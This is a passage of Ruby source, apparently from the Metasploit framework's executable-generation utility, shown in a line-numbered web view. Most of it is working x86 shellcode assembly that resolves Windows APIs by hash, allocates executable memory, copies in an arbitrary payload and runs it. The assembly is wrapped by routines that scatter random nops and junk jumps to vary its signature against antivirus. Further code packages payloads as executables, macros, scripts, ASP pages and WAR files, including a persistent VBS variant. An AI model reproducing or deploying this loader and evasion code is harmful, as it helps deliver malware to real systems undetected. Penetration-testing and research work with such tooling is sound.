# and finally executing the code.
|
| 1246 |
def self.win32_rwx_exec(code) |
| 1247 |
|
| 1248 |
stub_block = %Q^
|
| 1249 |
; Input: The hash of the API to call and all its parameters must be pushed onto stack. |
| 1250 |
; Output: The return value from the API call will be in EAX. |
| 1251 |
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) |
| 1252 |
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. |
| 1253 |
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. |
| 1254 |
; Note: This function is unable to call forwarded exports. |
| 1255 |
|
| 1256 |
api_call: |
| 1257 |
pushad ; We preserve all the registers for the caller, bar EAX and ECX. |
| 1258 |
mov ebp, esp ; Create a new stack frame |
| 1259 |
xor eax, eax ; Zero EDX |
| 1260 |
mov eax, [fs:eax+48] ; Get a pointer to the PEB |
| 1261 |
mov eax, [eax+12] ; Get PEB->Ldr |
| 1262 |
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list |
| 1263 |
mov edx, eax |
| 1264 |
next_mod: ; |
| 1265 |
mov esi, [edx+40] ; Get pointer to modules name (unicode string) |
| 1266 |
movzx ecx, word [edx+38] ; Set ECX to the length we want to check |
| 1267 |
xor edi, edi ; Clear EDI which will store the hash of the module name |
| 1268 |
loop_modname: ; |
| 1269 |
xor eax, eax ; Clear EAX |
| 1270 |
lodsb ; Read in the next byte of the name |
| 1271 |
cmp al, 'a' ; Some versions of Windows use lower case module names |
| 1272 |
jl not_lowercase ; |
| 1273 |
sub al, 0x20 ; If so normalise to uppercase |
| 1274 |
not_lowercase: ; |
| 1275 |
ror edi, 13 ; Rotate right our hash value |
| 1276 |
add edi, eax ; Add the next byte of the name |
| 1277 |
dec ecx |
| 1278 |
jnz loop_modname ; Loop untill we have read enough |
| 1279 |
; We now have the module hash computed |
| 1280 |
push edx ; Save the current position in the module list for later |
| 1281 |
push edi ; Save the current module hash for later |
| 1282 |
; Proceed to iterate the export address table, |
| 1283 |
mov edx, [edx+16] ; Get this modules base address |
| 1284 |
mov eax, [edx+60] ; Get PE header |
| 1285 |
add eax, edx ; Add the modules base address |
| 1286 |
mov eax, [eax+120] ; Get export tables RVA |
| 1287 |
test eax, eax ; Test if no export address table is present |
| 1288 |
jz get_next_mod1 ; If no EAT present, process the next module |
| 1289 |
add eax, edx ; Add the modules base address |
| 1290 |
push eax ; Save the current modules EAT |
| 1291 |
mov ecx, [eax+24] ; Get the number of function names |
| 1292 |
mov ebx, [eax+32] ; Get the rva of the function names |
| 1293 |
add ebx, edx ; Add the modules base address |
| 1294 |
; Computing the module hash + function hash |
| 1295 |
get_next_func: ; |
| 1296 |
test ecx, ecx ; (Changed from JECXZ to work around METASM) |
| 1297 |
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module |
| 1298 |
dec ecx ; Decrement the function name counter |
| 1299 |
mov esi, [ebx+ecx*4] ; Get rva of next module name |
| 1300 |
add esi, edx ; Add the modules base address |
| 1301 |
xor edi, edi ; Clear EDI which will store the hash of the function name |
| 1302 |
; And compare it to the one we want |
| 1303 |
loop_funcname: ; |
| 1304 |
xor eax, eax ; Clear EAX |
| 1305 |
lodsb ; Read in the next byte of the ASCII function name |
| 1306 |
ror edi, 13 ; Rotate right our hash value |
| 1307 |
add edi, eax ; Add the next byte of the name |
| 1308 |
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) |
| 1309 |
jne loop_funcname ; If we have not reached the null terminator, continue |
| 1310 |
add edi, [ebp-8] ; Add the current module hash to the function hash |
| 1311 |
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for |
| 1312 |
jnz get_next_func ; Go compute the next function hash if we have not found it |
| 1313 |
; If found, fix up stack, call the function and then value else compute the next one... |
| 1314 |
pop eax ; Restore the current modules EAT |
| 1315 |
mov ebx, [eax+36] ; Get the ordinal table rva |
| 1316 |
add ebx, edx ; Add the modules base address |
| 1317 |
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal |
| 1318 |
mov ebx, [eax+28] ; Get the function addresses table rva |
| 1319 |
add ebx, edx ; Add the modules base address |
| 1320 |
mov eax, [ebx+4*ecx] ; Get the desired functions RVA |
| 1321 |
add eax, edx ; Add the modules base address to get the functions actual VA |
| 1322 |
; We now fix up the stack and perform the call to the desired function... |
| 1323 |
finish: |
| 1324 |
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad |
| 1325 |
pop ebx ; Clear off the current modules hash |
| 1326 |
pop ebx ; Clear off the current position in the module list |
| 1327 |
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered |
| 1328 |
pop ecx ; Pop off the origional return address our caller will have pushed |
| 1329 |
pop edx ; Pop off the hash value our caller will have pushed |
| 1330 |
push ecx ; Push back the correct return value |
| 1331 |
jmp eax ; Jump into the required function |
| 1332 |
; We now automagically return to the correct caller... |
| 1333 |
get_next_mod: ; |
| 1334 |
pop eax ; Pop off the current (now the previous) modules EAT |
| 1335 |
get_next_mod1: ; |
| 1336 |
pop edi ; Pop off the current (now the previous) modules hash |
| 1337 |
pop edx ; Restore our position in the module list |
| 1338 |
mov edx, [edx] ; Get the next module |
| 1339 |
jmp next_mod ; Process this module |
| 1340 |
^
|
| 1341 |
|
| 1342 |
stub_exit = %Q^
|
| 1343 |
; Input: EBP must be the address of 'api_call'. |
| 1344 |
; Output: None. |
| 1345 |
; Clobbers: EAX, EBX, (ESP will also be modified) |
| 1346 |
; Note: Execution is not expected to (successfully) continue past this block |
| 1347 |
|
| 1348 |
exitfunk: |
| 1349 |
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... |
| 1350 |
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) |
| 1351 |
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) |
| 1352 |
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 |
| 1353 |
jl goodbye ; Then just call the exit function... |
| 1354 |
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... |
| 1355 |
jne goodbye ; |
| 1356 |
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread |
| 1357 |
goodbye: ; We now perform the actual call to the exit function |
| 1358 |
push byte 0 ; push the exit function parameter |
| 1359 |
push ebx ; push the hash of the exit function |
| 1360 |
call ebp ; call EXITFUNK( 0 ); |
| 1361 |
^
|
| 1362 |
|
| 1363 |
stub_alloc = %Q^
|
| 1364 |
cld ; Clear the direction flag. |
| 1365 |
call start ; Call start, this pushes the address of 'api_call' onto the stack. |
| 1366 |
delta: ; |
| 1367 |
#{stub_block} |
| 1368 |
start: ; |
| 1369 |
pop ebp ; Pop off the address of 'api_call' for calling later. |
| 1370 |
|
| 1371 |
allocate_size: |
| 1372 |
mov esi,PAYLOAD_SIZE |
| 1373 |
|
| 1374 |
allocate: |
| 1375 |
push byte 0x40 ; PAGE_EXECUTE_READWRITE |
| 1376 |
push 0x1000 ; MEM_COMMIT |
| 1377 |
push esi ; Push the length value of the wrapped code block |
| 1378 |
push byte 0 ; NULL as we dont care where the allocation is. |
| 1379 |
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 1380 |
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
| 1381 |
|
| 1382 |
mov ebx, eax ; Store allocated address in ebx |
| 1383 |
mov edi, eax ; Prepare EDI with the new address |
| 1384 |
mov ecx, esi ; Prepare ECX with the length of the code |
| 1385 |
call get_payload |
| 1386 |
got_payload: |
| 1387 |
pop esi ; Prepare ESI with the source to copy |
| 1388 |
rep movsb ; Copy the payload to RWX memory |
| 1389 |
call set_handler ; Configure error handling |
| 1390 |
|
| 1391 |
exitblock: |
| 1392 |
#{stub_exit} |
| 1393 |
set_handler: |
| 1394 |
xor eax,eax |
| 1395 |
push dword [fs:eax] |
| 1396 |
mov dword [fs:eax], esp |
| 1397 |
call ebx |
| 1398 |
jmp exitblock |
| 1399 |
^
|
| 1400 |
|
| 1401 |
stub_final = %Q^
|
| 1402 |
get_payload: |
| 1403 |
call got_payload |
| 1404 |
payload: |
| 1405 |
; Append an arbitary payload here |
| 1406 |
^
|
| 1407 |
|
| 1408 |
|
| 1409 |
stub_alloc.gsub!('short', '') |
| 1410 |
stub_alloc.gsub!('byte', '') |
| 1411 |
|
| 1412 |
wrapper = ""
|
| 1413 |
# regs = %W{eax ebx ecx edx esi edi ebp}
|
| 1414 |
|
| 1415 |
cnt_jmp = 0
|
| 1416 |
stub_alloc.each_line do |line|
|
| 1417 |
line.gsub!(/;.*/, '') |
| 1418 |
line.strip! |
| 1419 |
next if line.empty? |
| 1420 |
|
| 1421 |
if (rand(2) == 0) |
| 1422 |
wrapper << "nop\n"
|
| 1423 |
end
|
| 1424 |
|
| 1425 |
if(rand(2) == 0) |
| 1426 |
wrapper << "jmp autojump#{cnt_jmp}\n"
|
| 1427 |
1.upto(rand(8)+8) do |
| 1428 |
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
|
| 1429 |
end
|
| 1430 |
wrapper << "autojump#{cnt_jmp}:\n"
|
| 1431 |
cnt_jmp += 1
|
| 1432 |
end
|
| 1433 |
wrapper << line + "\n"
|
| 1434 |
end
|
| 1435 |
|
| 1436 |
wrapper << stub_final |
| 1437 |
|
| 1438 |
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded |
| 1439 |
off = enc.offset_of_reloc('PAYLOAD_SIZE')
|
| 1440 |
res = enc.data + code |
| 1441 |
|
| 1442 |
res[off,4] = [code.length].pack('V') |
| 1443 |
res |
| 1444 |
end
|
| 1445 |
|
| 1446 |
# This wrapper is responsible for allocating RWX memory, copying the
|
| 1447 |
# target code there, setting an exception handler that calls ExitProcess,
|
| 1448 |
# starting the code in a new thread, and finally jumping back to the next
|
| 1449 |
# code to execute. block_offset is the offset of the next code from
|
| 1450 |
# the start of this code
|
| 1451 |
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') |
| 1452 |
|
| 1453 |
stub_block = %Q^
|
| 1454 |
; Input: The hash of the API to call and all its parameters must be pushed onto stack. |
| 1455 |
; Output: The return value from the API call will be in EAX. |
| 1456 |
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) |
| 1457 |
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. |
| 1458 |
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. |
| 1459 |
; Note: This function is unable to call forwarded exports. |
| 1460 |
|
| 1461 |
api_call: |
| 1462 |
pushad ; We preserve all the registers for the caller, bar EAX and ECX. |
| 1463 |
mov ebp, esp ; Create a new stack frame |
| 1464 |
xor edx, edx ; Zero EDX |
| 1465 |
mov edx, [fs:edx+48] ; Get a pointer to the PEB |
| 1466 |
mov edx, [edx+12] ; Get PEB->Ldr |
| 1467 |
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list |
| 1468 |
next_mod: ; |
| 1469 |
mov esi, [edx+40] ; Get pointer to modules name (unicode string) |
| 1470 |
movzx ecx, word [edx+38] ; Set ECX to the length we want to check |
| 1471 |
xor edi, edi ; Clear EDI which will store the hash of the module name |
| 1472 |
loop_modname: ; |
| 1473 |
xor eax, eax ; Clear EAX |
| 1474 |
lodsb ; Read in the next byte of the name |
| 1475 |
cmp al, 'a' ; Some versions of Windows use lower case module names |
| 1476 |
jl not_lowercase ; |
| 1477 |
sub al, 0x20 ; If so normalise to uppercase |
| 1478 |
not_lowercase: ; |
| 1479 |
ror edi, 13 ; Rotate right our hash value |
| 1480 |
add edi, eax ; Add the next byte of the name |
| 1481 |
dec ecx |
| 1482 |
jnz loop_modname ; Loop untill we have read enough |
| 1483 |
; We now have the module hash computed |
| 1484 |
push edx ; Save the current position in the module list for later |
| 1485 |
push edi ; Save the current module hash for later |
| 1486 |
; Proceed to itterate the export address table, |
| 1487 |
mov edx, [edx+16] ; Get this modules base address |
| 1488 |
mov eax, [edx+60] ; Get PE header |
| 1489 |
add eax, edx ; Add the modules base address |
| 1490 |
mov eax, [eax+120] ; Get export tables RVA |
| 1491 |
test eax, eax ; Test if no export address table is present |
| 1492 |
jz get_next_mod1 ; If no EAT present, process the next module |
| 1493 |
add eax, edx ; Add the modules base address |
| 1494 |
push eax ; Save the current modules EAT |
| 1495 |
mov ecx, [eax+24] ; Get the number of function names |
| 1496 |
mov ebx, [eax+32] ; Get the rva of the function names |
| 1497 |
add ebx, edx ; Add the modules base address |
| 1498 |
; Computing the module hash + function hash |
| 1499 |
get_next_func: ; |
| 1500 |
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module |
| 1501 |
dec ecx ; Decrement the function name counter |
| 1502 |
mov esi, [ebx+ecx*4] ; Get rva of next module name |
| 1503 |
add esi, edx ; Add the modules base address |
| 1504 |
xor edi, edi ; Clear EDI which will store the hash of the function name |
| 1505 |
; And compare it to the one we want |
| 1506 |
loop_funcname: ; |
| 1507 |
xor eax, eax ; Clear EAX |
| 1508 |
lodsb ; Read in the next byte of the ASCII function name |
| 1509 |
ror edi, 13 ; Rotate right our hash value |
| 1510 |
add edi, eax ; Add the next byte of the name |
| 1511 |
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) |
| 1512 |
jne loop_funcname ; If we have not reached the null terminator, continue |
| 1513 |
add edi, [ebp-8] ; Add the current module hash to the function hash |
| 1514 |
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for |
| 1515 |
jnz get_next_func ; Go compute the next function hash if we have not found it |
| 1516 |
; If found, fix up stack, call the function and then value else compute the next one... |
| 1517 |
pop eax ; Restore the current modules EAT |
| 1518 |
mov ebx, [eax+36] ; Get the ordinal table rva |
| 1519 |
add ebx, edx ; Add the modules base address |
| 1520 |
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal |
| 1521 |
mov ebx, [eax+28] ; Get the function addresses table rva |
| 1522 |
add ebx, edx ; Add the modules base address |
| 1523 |
mov eax, [ebx+4*ecx] ; Get the desired functions RVA |
| 1524 |
add eax, edx ; Add the modules base address to get the functions actual VA |
| 1525 |
; We now fix up the stack and perform the call to the desired function... |
| 1526 |
finish: |
| 1527 |
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad |
| 1528 |
pop ebx ; Clear off the current modules hash |
| 1529 |
pop ebx ; Clear off the current position in the module list |
| 1530 |
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered |
| 1531 |
pop ecx ; Pop off the origional return address our caller will have pushed |
| 1532 |
pop edx ; Pop off the hash value our caller will have pushed |
| 1533 |
push ecx ; Push back the correct return value |
| 1534 |
jmp eax ; Jump into the required function |
| 1535 |
; We now automagically return to the correct caller... |
| 1536 |
get_next_mod: ; |
| 1537 |
pop eax ; Pop off the current (now the previous) modules EAT |
| 1538 |
get_next_mod1: ; |
| 1539 |
pop edi ; Pop off the current (now the previous) modules hash |
| 1540 |
pop edx ; Restore our position in the module list |
| 1541 |
mov edx, [edx] ; Get the next module |
| 1542 |
jmp next_mod ; Process this module |
| 1543 |
^
|
| 1544 |
|
| 1545 |
stub_exit = %Q^
|
| 1546 |
; Input: EBP must be the address of 'api_call'. |
| 1547 |
; Output: None. |
| 1548 |
; Clobbers: EAX, EBX, (ESP will also be modified) |
| 1549 |
; Note: Execution is not expected to (successfully) continue past this block |
| 1550 |
|
| 1551 |
exitfunk: |
| 1552 |
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... |
| 1553 |
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) |
| 1554 |
call ebp ; GetVersion(); (AL will = major version and AH will = minor version) |
| 1555 |
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 |
| 1556 |
jl goodbye ; Then just call the exit function... |
| 1557 |
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... |
| 1558 |
jne goodbye ; |
| 1559 |
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread |
| 1560 |
goodbye: ; We now perform the actual call to the exit function |
| 1561 |
push byte 0 ; push the exit function parameter |
| 1562 |
push ebx ; push the hash of the exit function |
| 1563 |
call ebp ; call EXITFUNK( 0 ); |
| 1564 |
^
|
| 1565 |
|
| 1566 |
stub_alloc = %Q^
|
| 1567 |
pushad ; Save registers |
| 1568 |
cld ; Clear the direction flag. |
| 1569 |
call start ; Call start, this pushes the address of 'api_call' onto the stack. |
| 1570 |
delta: ; |
| 1571 |
#{stub_block} |
| 1572 |
start: ; |
| 1573 |
pop ebp ; Pop off the address of 'api_call' for calling later. |
| 1574 |
|
| 1575 |
allocate_size: |
| 1576 |
mov esi,PAYLOAD_SIZE |
| 1577 |
|
| 1578 |
allocate: |
| 1579 |
push byte 0x40 ; PAGE_EXECUTE_READWRITE |
| 1580 |
push 0x1000 ; MEM_COMMIT |
| 1581 |
push esi ; Push the length value of the wrapped code block |
| 1582 |
push byte 0 ; NULL as we dont care where the allocation is. |
| 1583 |
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) |
| 1584 |
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
| 1585 |
|
| 1586 |
mov ebx, eax ; Store allocated address in ebx |
| 1587 |
mov edi, eax ; Prepare EDI with the new address |
| 1588 |
mov ecx, esi ; Prepare ECX with the length of the code |
| 1589 |
call get_payload |
| 1590 |
got_payload: |
| 1591 |
pop esi ; Prepare ESI with the source to copy |
| 1592 |
rep movsb ; Copy the payload to RWX memory |
| 1593 |
call set_handler ; Configure error handling |
| 1594 |
|
| 1595 |
exitblock: |
| 1596 |
#{stub_exit} |
| 1597 |
|
| 1598 |
set_handler: |
| 1599 |
xor eax,eax |
| 1600 |
; push dword [fs:eax] |
| 1601 |
; mov dword [fs:eax], esp |
| 1602 |
push eax ; LPDWORD lpThreadId (NULL) |
| 1603 |
push eax ; DWORD dwCreationFlags (0) |
| 1604 |
push eax ; LPVOID lpParameter (NULL) |
| 1605 |
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) |
| 1606 |
push eax ; SIZE_T dwStackSize (0 for default) |
| 1607 |
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) |
| 1608 |
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) |
| 1609 |
call ebp ; Spawn payload thread |
| 1610 |
|
| 1611 |
pop eax ; Skip |
| 1612 |
; pop eax ; Skip |
| 1613 |
pop eax ; Skip |
| 1614 |
popad ; Get our registers back |
| 1615 |
; sub esp, 44 ; Move stack pointer back past the handler |
| 1616 |
^
|
| 1617 |
|
| 1618 |
stub_final = %Q^
|
| 1619 |
get_payload: |
| 1620 |
call got_payload |
| 1621 |
payload: |
| 1622 |
; Append an arbitary payload here |
| 1623 |
^
|
| 1624 |
|
| 1625 |
|
| 1626 |
stub_alloc.gsub!('short', '') |
| 1627 |
stub_alloc.gsub!('byte', '') |
| 1628 |
|
| 1629 |
wrapper = ""
|
| 1630 |
# regs = %W{eax ebx ecx edx esi edi ebp}
|
| 1631 |
|
| 1632 |
cnt_jmp = 0
|
| 1633 |
cnt_nop = 64
|
| 1634 |
|
| 1635 |
stub_alloc.each_line do |line|
|
| 1636 |
line.gsub!(/;.*/, '') |
| 1637 |
line.strip! |
| 1638 |
next if line.empty? |
| 1639 |
|
| 1640 |
if (cnt_nop > 0 and rand(4) == 0) |
| 1641 |
wrapper << "nop\n"
|
| 1642 |
cnt_nop -= 1
|
| 1643 |
end
|
| 1644 |
|
| 1645 |
if(cnt_nop > 0 and rand(16) == 0) |
| 1646 |
cnt_nop -= 2
|
| 1647 |
cnt_jmp += 1
|
| 1648 |
|
| 1649 |
wrapper << "jmp autojump#{cnt_jmp}\n"
|
| 1650 |
1.upto(rand(8)+1) do |
| 1651 |
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
|
| 1652 |
cnt_nop -= 1
|
| 1653 |
end
|
| 1654 |
wrapper << "autojump#{cnt_jmp}:\n"
|
| 1655 |
end
|
| 1656 |
wrapper << line + "\n"
|
| 1657 |
end
|
| 1658 |
|
| 1659 |
#someone who knows how to use metasm please explain the right way to do this.
|
| 1660 |
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
|
| 1661 |
wrapper << stub_final |
| 1662 |
|
| 1663 |
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded |
| 1664 |
off = enc.offset_of_reloc('PAYLOAD_SIZE')
|
| 1665 |
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 |
| 1666 |
res = enc.data + code |
| 1667 |
|
| 1668 |
res[off,4] = [code.length].pack('V') |
| 1669 |
if which_offset == 'start' |
| 1670 |
res[soff,4] = [block_offset - (soff + 4)].pack('V') |
| 1671 |
elsif which_offset == 'end' |
| 1672 |
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V') |
| 1673 |
else
|
| 1674 |
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' |
| 1675 |
end
|
| 1676 |
res |
| 1677 |
end
|
| 1678 |
|
| 1679 |
|
| 1680 |
#
|
| 1681 |
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
|
| 1682 |
#
|
| 1683 |
# It will return nil if it wasn't able to generate any output.
|
| 1684 |
#
|
| 1685 |
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) |
| 1686 |
|
| 1687 |
output = nil
|
| 1688 |
|
| 1689 |
case fmt
|
| 1690 |
when 'dll' |
| 1691 |
if (not arch or (arch.index(ARCH_X86))) |
| 1692 |
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts) |
| 1693 |
end
|
| 1694 |
|
| 1695 |
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) |
| 1696 |
output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts) |
| 1697 |
end
|
| 1698 |
|
| 1699 |
when 'exe' |
| 1700 |
if (not arch or (arch.index(ARCH_X86))) |
| 1701 |
output = Msf::Util::EXE.to_win32pe(framework, code, exeopts) |
| 1702 |
end
|
| 1703 |
|
| 1704 |
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) |
| 1705 |
output = Msf::Util::EXE.to_win64pe(framework, code, exeopts) |
| 1706 |
end
|
| 1707 |
|
| 1708 |
when 'exe-small' |
| 1709 |
if(not arch or (arch.index(ARCH_X86))) |
| 1710 |
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) |
| 1711 |
end
|
| 1712 |
|
| 1713 |
when 'elf' |
| 1714 |
if (not arch or (arch.index(ARCH_X86))) |
| 1715 |
output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) |
| 1716 |
end
|
| 1717 |
|
| 1718 |
if (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) |
| 1719 |
output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) |
| 1720 |
end
|
| 1721 |
|
| 1722 |
when 'macho' |
| 1723 |
if (not arch or (arch.index(ARCH_X86))) |
| 1724 |
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) |
| 1725 |
end
|
| 1726 |
|
| 1727 |
if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64))) |
| 1728 |
output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) |
| 1729 |
end
|
| 1730 |
|
| 1731 |
when 'vba' |
| 1732 |
output = Msf::Util::EXE.to_vba(framework, code, exeopts) |
| 1733 |
|
| 1734 |
when 'vba-exe' |
| 1735 |
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts) |
| 1736 |
output = Msf::Util::EXE.to_exe_vba(exe) |
| 1737 |
|
| 1738 |
when 'vbs' |
| 1739 |
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false })) |
| 1740 |
|
| 1741 |
when 'loop-vbs' |
| 1742 |
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true })) |
| 1743 |
|
| 1744 |
when 'asp' |
| 1745 |
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts) |
| 1746 |
|
| 1747 |
when 'war' |
| 1748 |
arch ||= [ ARCH_X86 ]
|
| 1749 |
tmp_plat = plat.platforms if plat
|
| 1750 |
tmp_plat ||= Msf::Module::PlatformList.transform('win') |
| 1751 |
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) |
| 1752 |
output = Msf::Util::EXE.to_jsp_war(exe) |
| 1753 |
|
| 1754 |
end
|
| 1755 |
|
| 1756 |
output |
| 1757 |
end
|
| 1758 |
|
| 1759 |
def self.to_executable_fmt_formats |
| 1760 |
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','war'] |
| 1761 |
end
|
| 1762 |
|
| 1763 |
#
|
| 1764 |
# EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
|
| 1765 |
#
|
| 1766 |
def self.is_eicar_corrupted? |
| 1767 |
path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com")) |
| 1768 |
return true if not ::File.exists?(path) |
| 1769 |
|
| 1770 |
begin
|
| 1771 |
data = ::File.read(path)
|
| 1772 |
if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140" |
| 1773 |
return true |
| 1774 |
end
|
| 1775 |
|
| 1776 |
rescue ::Exception |
| 1777 |
return true |
| 1778 |
end
|
| 1779 |
|
| 1780 |
false
|
| 1781 |
end
|
| 1782 |
|
| 1783 |
end
|
| 1784 |
end
|
| 1785 |
end
|
| 1786 |
|